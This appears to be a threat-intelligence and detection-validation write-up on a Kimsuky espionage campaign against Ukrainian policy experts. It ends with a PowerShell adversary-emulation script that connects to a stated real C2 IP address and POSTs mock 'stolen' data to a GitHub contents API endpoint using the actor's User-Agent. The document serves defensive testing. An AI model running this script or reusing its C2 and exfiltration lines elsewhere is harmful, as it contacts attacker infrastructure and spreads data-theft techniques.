Operation GitPower: Kimsuky Espionage Against Ukraine

Summary

Kimsuky is currently running cyber espionage against Ukrainian experts in diplomacy, security, and international policy. Known as Operation GitPower, the campaign relies on reply-baiting spear phishing and abuses legitimate development platforms such as GitHub, GitLab, and Codeberg to deliver malware. The attackers have also started using AI tools to create decoy documents and automate attack processes.

Investigation

Investigators reviewed multiple attack stages, including malicious LNK files disguised as PDFs and fake Zoom installers. They traced a multi-stage execution flow in which VBScript and PowerShell scripts set persistence through scheduled tasks. The group uses hardcoded C2 servers and GitHub’s API to carry out data exfiltration.

Mitigation

Organizations should strengthen EDR detection and threat hunting capabilities aimed at abuse of LNK files, PowerShell, and legitimate cloud development services. Strict monitoring of unusual scheduled tasks and unauthorized API calls to GitHub and GitLab is recommended. Users should be trained to recognize sophisticated reply-baiting social engineering tactics.

Response

After detection, responders should isolate affected endpoints to stop further data exfiltration through the identified TCP C2 or GitHub channels. Analysts should search for unauthorized scheduled tasks and check the C:\Users\Public directory for malicious VBS/PS1 files. It is essential to correlate LNK executions with later network connections to legitimate cloud services.

Simulation Execution

• Attack Narrative & Commands: The adversary aims to establish Command and Control (C2) communication and exfiltrate sensitive data via GitHub. First, the attacker establishes a TCP connection to the hard-coded C2 IP 111.92.246.145 on port 12345 to signal readiness. Second, to avoid detection via traditional data transfer monitoring, the attacker uses a “living-off-the-land” approach by uploading a stolen document to a GitHub repository via the GitHub Contents API, specifically mimicking the Kimsuky User-Agent GitHub-API/1.0.

• Regression Test Script:

  # Simulation Script for Kimsuky Detection Validation
  
  Write-Host "[+] Starting Kimsuky Simulation..." -ForegroundColor Cyan
  
  # 1. Simulate C2 Connection (TCP 111.92.246.145:12345)
  Write-Host "[+] Attempting C2 connection to 111.92.246.145:12345" -ForegroundColor Yellow
  try {
      $tcpClient = New-Object System.Net.Sockets.TcpClient
      $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null)
      # We use a short timeout so the script doesn't hang if the IP is unreachable
      $success = $connection.AsyncWaitHandle.WaitOne(2000, $false)
      if (-not $success) { Write-Host "[!] Connection failed (expected if IP is offline), but telemetry should still be logged by Sysmon." -ForegroundColor Gray }
      $tcpClient.Close()
  } catch {
      Write-Host "[!] Error during C2 simulation: $($_.Exception.Message)" -ForegroundColor Red
  }
  
  # 2. Simulate GitHub Exfiltration (POST to GitHub API with specific User-Agent)
  Write-Host "[+] Attempting GitHub API Exfiltration simulation..." -ForegroundColor Yellow
  $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt"
  $userAgent = "GitHub-API/1.0"
  $headers = @{
      "Authorization" = "token FAKE_TOKEN_FOR_TESTING"
      "Content-Type"  = "application/json"
  }
  $body = @{
      "message" = "Exfiltrating data"
      "content" = "SGVsbG8gV29ybGQ=" # Base64 for "Hello World"
  } | ConvertTo-Json
  
  try {
      # Using -UserAgent to trigger the specific detection logic
      Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent
  } catch {
      Write-Host "[!] HTTP Request completed (Expected 404/401 for fake URL, but User-Agent was sent)." -ForegroundColor Gray
  }
  
  Write-Host "[+] Simulation Complete." -ForegroundColor Cyan

• Cleanup Commands:

  # No persistent artifacts were created by this simulation script.
  # If any local files were used for content, they should be deleted:
  Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue
  Write-Host "[+] Cleanup complete." -ForegroundColor Green